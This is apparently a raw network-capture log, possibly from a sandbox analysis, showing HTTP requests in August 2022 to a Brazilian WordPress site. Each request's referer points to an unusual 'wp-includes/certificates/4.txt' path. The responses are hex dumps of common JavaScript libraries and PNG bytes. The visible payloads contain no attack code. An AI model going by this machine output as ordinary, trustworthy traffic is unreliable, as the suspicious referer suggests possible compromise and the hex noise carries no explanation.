7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 2c 61 2c 69 2c 6f 29 7b 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 29 74 72 79 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 6f 29 2c 69 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 28 6f 29 2c 69 3d 65 7d 7d 29 2c 6e 7d 63 61 74 63 68 28 73 29 7b 7d 65 2e 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 42 72 6f 6b 65 6e 3d 21 30 2c 74 5b 61 5d 3d 69 7d 76 61 72 20 69 3d 7b 7d 3b 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 3d 5b 5d 2c 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 4c 6f 67 67 69 6e 67 20 69 73 20 61 63 74 69 76 65 22 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 3d 3d 6e 26 26 28 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 21 30 29 2c 65 2e 6d 69 67 72 61 74 65 52 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 7b 7d 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 6c 65 6e 67 74 68 3d 30 7d 2c 22 42 61 63 6b 43 6f 6d 70 61 74 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d 70 61 74 4d 6f 64 65 26 26 72 28 22 6a 51 75 65 72 79 20 69 73 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 68 20 51 75 69 72 6b 73 20 4d 6f 64 65 22 29 3b 76 61 72 20 6f 3d 65 28 22 3c 69 6e 70 75 74 2f 3e 22 2c 7b 73 69 7a 65 3a 31 7d 29 2e 61 74 74 72 28 22 73 69 7a 65 22 29 26 26 65 2e 61 74 74 72 46 6e 2c 73 3d 65 2e 61 74 74 72 2c 75 3d 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 67 65 74 7c 7c 66 75 6e 63 74 69 6f 6e Data Ascii: /! jQuery Migrate v1.2.1 \| (c) 2005, 2013 jQuery Foundation, Inc. and other contributors \| jquery.org/license /jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]\|\|(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get\|\|function
Aug 16, 2022 11:49:56.863286018 CEST	1097	OUT	GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:57.076625109 CEST	1099	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:26 GMT Server: Apache ETag: "a53560-301a-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 12314 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23796837 21588188 Age: 151 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 3b 77 69 6e 64 6f 77 2e 4d 6f 64 65 72 6e 69 7a 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 42 28 61 29 7b 6a 2e 63 73 73 54 65 78 74 3d 61 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 42 28 6e 2e 6a 6f 69 6e 28 61 2b 22 3b 22 29 2b 28 62 7c 7c 22 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 21 7e 28 22 22 2b 61 29 2e 69 6e 64 65 78 4f 66 28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 61 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 45 28 65 2c 22 2d 22 29 26 26 6a 5b 65 5d 21 3d 3d 63 29 72 65 74 75 72 6e 20 62 3d 3d 22 70 66 78 22 3f 65 3a 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 47 28 61 2c 62 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 61 29 7b 76 61 72 20 66 3d 62 5b 61 5b 65 5d 5d 3b 69 66 28 66 21 3d 3d 63 29 72 65 74 75 72 6e 20 64 3d 3d 3d 21 31 3f 61 5b 65 5d 3a 44 28 66 2c 22 66 75 6e 63 74 69 6f 6e 22 29 3f 66 2e 62 69 6e 64 28 64 7c 7c 62 29 3a 66 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 61 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 61 2e 73 6c 69 63 65 28 31 29 2c 65 3d 28 61 2b 22 20 22 2b 70 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 3b 72 65 74 75 72 6e 20 44 28 62 2c 22 73 74 72 69 6e 67 22 29 7c 7c 44 28 62 2c 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 46 28 65 2c 62 29 3a 28 65 3d 28 61 2b 22 20 22 2b 71 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 47 28 65 2c 62 2c 63 29 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 65 2e 69 6e 70 75 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 64 3c 65 3b 64 2b 2b 29 74 5b 63 5b 64 5d 5d 3d 63 5b 64 5d 69 6e 20 6b 3b 72 65 74 75 72 6e 20 74 2e 6c 69 73 74 26 26 28 74 2e 6c 69 73 74 3d 21 21 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 61 74 61 6c 69 73 74 22 29 26 26 21 21 61 2e 48 54 4d 4c 44 61 74 61 4c 69 73 74 45 6c 65 6d 65 6e 74 29 2c 74 7d 28 22 61 75 74 6f 63 6f 6d 70 6c 65 74 65 20 61 75 74 6f 66 6f 63 75 73 20 6c 69 73 74 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 6d 61 78 20 6d 69 6e 20 6d 75 6c 74 69 70 6c 65 20 70 61 74 74 65 72 6e 20 72 65 71 75 69 72 65 64 20 73 74 65 70 22 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 65 2e 69 6e 70 75 74 74 79 70 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 2c 66 2c 68 2c 69 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 69 3b 64 2b 2b 29 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 66 3d 61 5b 64 5d 29 2c 65 3d 6b 2e 74 79 70 Data Ascii: ;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b\|\|""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d\|\|b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")\|\|D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.typ
Aug 16, 2022 11:49:57.093281031 CEST	1111	OUT	GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:57.313608885 CEST	1124	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:26 GMT Server: Apache ETag: "a534bd-434-58592d488ae40" Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT Content-Length: 1076 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23796842 23959555 Age: 151 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 66 6e 2e 6a 66 6c 69 63 6b 72 66 65 65 64 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 63 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 66 6c 69 63 6b 72 62 61 73 65 3a 22 2f 2f 61 70 69 2e 66 6c 69 63 6b 72 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 66 65 65 64 73 2f 22 2c 66 65 65 64 61 70 69 3a 22 70 68 6f 74 6f 73 5f 70 75 62 6c 69 63 2e 67 6e 65 22 2c 6c 69 6d 69 74 3a 32 30 2c 71 73 74 72 69 6e 67 73 3a 7b 6c 61 6e 67 3a 22 65 6e 2d 75 73 22 2c 66 6f 72 6d 61 74 3a 22 6a 73 6f 6e 22 2c 6a 73 6f 6e 63 61 6c 6c 62 61 63 6b 3a 22 3f 22 7d 2c 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 3a 21 30 2c 75 73 65 54 65 6d 70 6c 61 74 65 3a 21 30 2c 69 74 65 6d 54 65 6d 70 6c 61 74 65 3a 22 22 2c 69 74 65 6d 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 63 29 3b 76 61 72 20 64 3d 63 2e 66 6c 69 63 6b 72 62 61 73 65 2b 63 2e 66 65 65 64 61 70 69 2b 22 3f 22 2c 66 3d 21 30 2c 67 3b 66 6f 72 28 67 20 69 6e 20 63 2e 71 73 74 72 69 6e 67 73 29 66 7c 7c 28 64 2b 3d 22 26 22 29 2c 64 2b 3d 67 2b 22 3d 22 2b 63 2e 71 73 74 72 69 6e 67 73 5b 67 5d 2c 66 3d 21 31 3b 72 65 74 75 72 6e 20 62 28 74 68 69 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 3d 62 28 74 68 69 73 29 2c 66 3d 74 68 69 73 3b 62 2e 67 65 74 4a 53 4f 4e 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 62 2e 65 61 63 68 28 64 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 69 66 28 64 3c 63 2e 6c 69 6d 69 74 29 7b 69 66 28 63 2e 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 29 7b 76 61 72 20 62 3d 0a 2f 3c 70 3e 28 2e 2a 3f 29 3c 5c 2f 70 3e 2f 67 2c 65 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 62 2e 74 65 73 74 28 65 29 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 65 2e 6d 61 74 63 68 28 62 29 5b 32 5d 2c 76 6f 69 64 20 30 21 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 3c 70 3e 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 3c 2f 70 3e 22 2c 22 22 29 29 29 7d 61 2e 69 6d 61 67 65 5f 73 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 73 22 29 3b 61 2e 69 6d 61 67 65 5f 74 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 74 22 29 3b 61 2e 69 6d 61 67 65 5f 6d 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 6d 22 29 3b 61 2e 69 6d 61 67 65 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 22 29 3b 61 2e 69 6d 61 67 65 5f 62 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 62 22 29 3b 64 65 6c 65 74 65 20 61 2e 6d 65 64 69 61 3b 69 66 28 63 2e 75 73 65 54 65 6d 70 6c 61 74 65 29 7b 76 61 72 20 62 3d 63 2e 69 74 65 6d 54 65 6d 70 6c 61 74 65 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 62 3d 62 2e 72 65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 7b 7b 22 2b 68 Data Ascii: (function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f\|\|(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=/<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h
Aug 16, 2022 11:49:57.612746954 CEST	1133	OUT	GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:57.828356028 CEST	1135	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:59 GMT Server: Apache ETag: "a5353d-4343-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 17219 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23796844 21588055 Age: 298 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 77 69 6e 64 6f 77 2e 64 65 66 69 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 2e 70 6f 70 28 29 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 7d 3b 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 63 6c 65 61 6e 44 61 74 61 29 7b 76 61 72 20 63 3d 61 2e 63 6c 65 61 6e 44 61 74 61 3b 61 2e 63 6c 65 61 6e 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3b 28 65 3d 62 5b 64 5d 29 21 3d 6e 75 6c 6c 3b 64 2b 2b 29 7b 61 28 65 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 63 28 62 29 7d 7d 65 6c 73 65 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 72 65 6d 6f 76 65 3b 61 2e 66 6e 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 63 29 7b 69 66 28 21 62 7c 7c 61 2e 66 69 6c 74 65 72 28 62 2c 5b 74 68 69 73 5d 29 2e 6c 65 6e 67 74 68 29 7b 61 28 22 2a 22 2c 74 68 69 73 29 2e 61 64 64 28 5b 74 68 69 73 5d 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 74 68 69 73 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 29 7d 7d 72 65 74 75 72 6e 20 64 2e 63 61 6c 6c 28 61 28 74 68 69 73 29 2c 62 2c 63 29 7d 29 7d 7d 61 2e 77 69 64 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 30 5d 2c 66 3b 62 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 3b 66 3d 65 2b 22 2d 22 2b 62 3b 69 66 28 21 64 29 7b 64 3d 63 3b 63 3d 61 2e 57 69 64 67 65 74 7d 61 2e 65 78 70 72 5b 22 3a 22 5d 5b 66 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 21 21 61 2e 64 61 74 61 28 63 2c 62 29 7d 3b 61 5b 65 5d 3d 61 5b 65 5d 7c 7c 7b 7d 3b 61 5b 65 5d 5b 62 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 28 61 2c 62 29 7d 7d 3b 76 61 72 20 67 3d 6e 65 77 20 63 3b 67 2e 6f 70 74 69 6f 6e 73 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 7b 7d 2c 67 2e 6f 70 74 69 6f 6e 73 29 3b 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 67 2c 7b 6e 61 6d 65 73 70 61 63 65 3a 65 2c 77 69 64 67 65 74 4e 61 6d 65 3a 62 2c 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 3a 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 7c 7c 62 2c 77 69 64 67 65 74 42 61 73 65 43 6c 61 73 73 3a 66 7d 2c 64 29 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 28 62 2c 61 5b 65 5d 5b 62 5d 29 7d 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 3d 66 Data Ascii: window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b\|\|a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]\|\|{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix\|\|b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=f
Aug 16, 2022 11:49:57.833445072 CEST	1153	OUT	GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:58.052504063 CEST	1185	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:59 GMT Server: Apache ETag: "a54b42-573c-58592e472c700" Last-Modified: Tue, 02 Apr 2019 21:33:48 GMT Content-Length: 22332 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23796845 20383412 Age: 298 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 87 00 00 00 cb 08 06 00 00 00 1c 11 39 dc 00 00 20 00 49 44 41 54 78 9c ec 9d 79 7c 54 d5 fd f7 3f df 3b 4b 26 0b 21 84 24 84 10 03 01 8a 80 11 01 23 4b 40 01 7f 6e 45 02 82 82 16 65 d3 56 6c ad b5 b5 2e b5 fe fa f0 e2 f1 69 ad b5 d6 da cd 52 6b 21 c1 15 5c d8 a5 2e c5 85 04 84 88 a8 28 8a 2c 21 04 08 49 08 21 64 99 f5 7e 9f 3f 66 a8 49 66 c9 3d 77 ee 64 26 c9 79 bf ea 8b 57 ef 3d e7 dc 33 4b e6 7e ee 77 05 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 83 a1 68 6f 20 56 d9 c6 6c b6 95 57 65 5b 40 99 4c 4a 2a 88 d3 18 94 aa 80 6d 0c c4 03 00 33 cc 44 70 83 c9 c5 84 46 62 34 aa ac d6 9a 14 aa 85 aa d4 9e 43 63 f9 b4 dc 5c 7b b4 5f 8b 44 22 91 48 24 12 89 56 7a bc 38 dc 7b f2 64 82 d3 a1 8c 06 29 79 00 5f 0c 70 1e 40 83 89 39 1b 44 8a 01 97 a8 66 e0 30 31 be 02 e1 53 86 ba cf 6c 51 f7 8e cd ca aa 35 60 6d 89 44 22 91 48 24 12 43 e9 71 e2 f0 a3 ca ca 54 93 c7 7a a5 0a 4c 01 b8 80 18 a3 0d 12 81 62 30 1f 64 50 29 03 1f 32 3c ef 4c 18 d4 bf bc d3 f7 20 91 48 24 12 89 44 d2 8e 1e 21 0e 77 57 54 e5 81 69 2e 83 ae 01 f3 38 8a 86 18 ec 08 e6 03 4c d8 ca cc eb 8f 0e ec f7 de 3c 22 35 da 5b 92 48 24 12 89 44 d2 f3 e8 b6 e2 b0 ec 48 cd 70 55 51 6f 25 60 1e 40 c3 a2 bd 1f 11 98 51 0b f0 eb 50 e8 85 71 39 19 1f 44 7b 3f 12 89 44 22 91 48 7a 0e dd 4a 1c ee 3d 79 32 c1 e1 54 e6 11 e8 07 04 14 44 7b 3f 46 c0 8c c3 20 7e 96 55 ac 1a 9f db af 2a da fb 91 48 24 12 89 44 d2 bd e9 16 e2 b0 b4 a2 36 cb ac aa f7 00 7c 17 11 a5 84 b3 96 ca 8c ea ba 66 9c a8 6d c2 e9 86 16 d4 9d b3 a3 a1 d9 85 06 bb 13 2d 2e 0f 1a 5d 1e 34 b9 3c 50 99 01 00 16 45 81 cd ac 20 c9 62 82 cd 62 42 6f 9b 15 c9 09 16 a4 24 c5 21 bd 77 02 b2 d2 12 91 de 27 01 26 25 bc b7 9a c1 6e 02 bd ac aa fc e4 f8 dc 7e 7b c3 5a 4c 22 91 48 24 12 89 24 08 5d 5a 1c 7e 5c 71 6a a8 aa d2 23 4c 7c 1b 81 cc a2 f3 99 19 47 4e 36 e0 d0 f1 7a 1c ad 39 87 6f 6a 1a f1 59 63 0b 1a 54 36 74 9f 49 44 18 9b 1c 8f dc be 49 18 98 de 0b df c9 4e 41 6e ff 64 10 e9 7b fb 19 fc 1f 52 95 47 2f cb 4d 7f cf d0 8d 4a 24 12 89 44 22 e9 f1 74 49 71 b8 eb 68 d5 60 b0 b2 8c c0 b7 89 66 1a d7 d6 b7 60 cf 81 6a 7c 59 79 06 bb ab cf a2 dc e5 89 d4 36 43 32 c8 62 c2 a5 e9 c9 b8 64 60 5f 8c fe 4e 3a fa f6 8e 17 5f 84 f9 03 62 7e 28 3f 37 73 a7 f1 3b 94 48 24 12 89 44 d2 13 e9 52 e2 70 e7 81 da 64 25 4e 7d 04 e0 9f 12 c8 aa 75 de a9 ba 66 94 7e 71 12 65 e5 b5 78 af be 29 92 5b d4 cd 94 94 04 4c c8 4d c7 c4 bc 2c a4 a7 08 0b c5 d7 19 ea 03 e3 06 66 1e 8e c4 de 24 12 89 44 22 91 f4 1c ba 8c 38 dc 5d 5e fd 7d 06 1e 23 42 9a 96 f1 0e a7 1b a5 fb 4e 62 fb d7 55 d8 5a 7b 2e d2 db 33 0c 2b 80 2b d3 7a 61 ea c8 2c 4c b8 28 13 16 b3 49 d3 3c 06 3b 01 fa a3 62 76 2d cf 1f 30 a0 39 b2 bb 94 48 24 12 89 44 d2 5d 89 79 71 b8 eb 70 cd 30 52 d4 67 41 74 85 96 f1 d5 67 9a f1 ee Data Ascii: PNGIHDR9 IDATxy\|T?;K&!$#K@nEeVl.iRk!\.(,!I!d~?fIf=wd&yW=3K~w$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$ho VlWe[@LJm3DpFb4Cc\{_D"H$Vz8{d)y_p@9Df01SlQ5`mD"H$CqTzLb0dP)2<L H$D!wWTi.8L<"5[H$DHpUQo%`@QPq9D{?D"HzJ=y2TD{?F ~UH$D6\|fm-.]4<PE 